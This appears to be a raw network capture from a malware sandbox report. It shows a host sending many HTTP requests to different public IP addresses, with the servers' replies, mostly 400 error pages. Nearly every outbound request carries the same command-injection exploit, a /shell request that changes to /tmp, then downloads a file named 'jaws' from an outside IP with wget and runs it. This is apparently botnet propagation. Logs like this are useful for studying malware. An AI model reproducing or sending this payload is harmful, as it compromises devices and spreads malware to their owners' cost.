Jan 2, 2024 06:24:45.761358976 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:45 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { fo
Jan 2, 2024 06:24:45.761373997 CET	1286	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 2c 0a 20 20 20 20 20 20 Data Ascii: nt-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-color: #293A4A
Jan 2, 2024 06:24:45.761385918 CET	1286	IN	Data Raw: 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 62 72 65 61 6b 2d 61 6c 6c 3b 0a 20 20 20 20 20 20 20 20 Data Ascii: t: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align: center; ma
Jan 2, 2024 06:24:45.761423111 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 73 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b Data Ascii: margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px;
Jan 2, 2024 06:24:45.761486053 CET	1286	IN	Data Raw: 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 44 6a 31 78 64 65 76 4e 6e 62 55 33 56 46 66 54 45 4c 2f 57 33 33 70 66 48 33 31 63 47 59 42 70 67 57 39 4c 62 61 33 49 63 38 43 38 69 41 37 37 Data Ascii: HHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepjMxHmd9IgC1NbY1VSkdeB4vXMH0
Jan 2, 2024 06:24:45.761598110 CET	1286	IN	Data Raw: 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 59 37 70 34 38 35 45 53 41 56 6d 75 6c 64 76 7a 53 54 4b 77 32 66 71 48 53 47 4d 35 68 42 57 31 49 55 49 30 66 2f 4c 64 4f 4e 74 45 55 4b 58 47 43 39 35 6a 4b 2b 52 67 34 51 42 56 Data Ascii: tphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkIRIH1743iEie
Jan 2, 2024 06:24:45.761610985 CET	1012	IN	Data Raw: 6d 75 44 53 46 38 52 67 53 38 74 68 2b 64 2b 70 68 63 69 38 46 4a 66 31 66 77 61 70 69 34 34 72 46 70 66 71 54 5a 41 6e 57 2b 4a 46 52 47 33 6b 66 39 34 5a 2b 73 53 71 64 52 31 55 49 69 49 2f 64 63 2f 42 36 4e 2f 4d 39 57 73 69 41 44 4f 30 30 41 Data Ascii: muDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc0g+JKiKYiNr9r4v1Zrvd
Jan 2, 2024 06:24:45.761837959 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to 167.211.72.148.host.secureserver.net's <a href="ma
Jan 2, 2024 06:24:45.761850119 CET	368	IN	Data Raw: 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 Data Ascii: =cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="c

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.23	40790	45.32.70.45	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:45.911026001 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:46.062536955 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.23	34518	38.173.142.99	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:45.911156893 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:46.062711000 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:24:57 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.23	54520	35.209.88.190	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:45.913930893 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:46.068521976 CET	306	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:45 GMT Content-Type: text/html Content-Length: 82 Connection: close ETag: "655b1984-52" Remote-Addr: 212.102.41.2 X-Default-Vhost: 1 Data Raw: 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 20 7c 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 0a Data Ascii: 400 - Bad Request \| Your browser sent a request this server could not understand.

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.23	44290	73.116.187.145	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:46.089607954 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.23	37438	52.208.51.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:46.160934925 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:46.410908937 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:24:46 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.23	48314	59.151.128.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:46.386584044 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:46.711704016 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:46 GMT Date: Tue, 02 Jan 2024 05:24:46 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 34 32 36 37 33 36 38 26 23 34 36 3b 31 37 30 34 31 37 33 30 38 36 26 23 34 36 3b 32 39 62 38 30 65 32 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.74267368.1704173086.29b80e24</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.23	50004	104.27.61.236	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:48.847611904 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.23	54894	74.48.170.26	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:48.887995005 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:49.050178051 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 01 Jan 2024 21:15:12 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.23	55632	209.235.140.224	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:48.911366940 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:49.076574087 CET	148	IN	HTTP/1.0 302 Moved Temporarily Location: https:///shell?cd+/tmp;rm+-rf+*;wget+ Server: BigIP Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.23	49032	46.175.16.206	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:48.996752024 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:49.267693043 CET	497	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 303 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 35 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 73 32 2e 69 6d 63 2e 75 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.25 (Debian) Server at nas2.imc.ua Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.23	56728	197.26.81.3	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:49.038851023 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.23	37540	185.214.242.162	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:49.039118052 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.23	46672	194.29.100.37	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:49.045137882 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:49.344347954 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.23	32982	124.160.184.254	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:49.075743914 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.23	49188	18.139.66.249	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:49.080775976 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
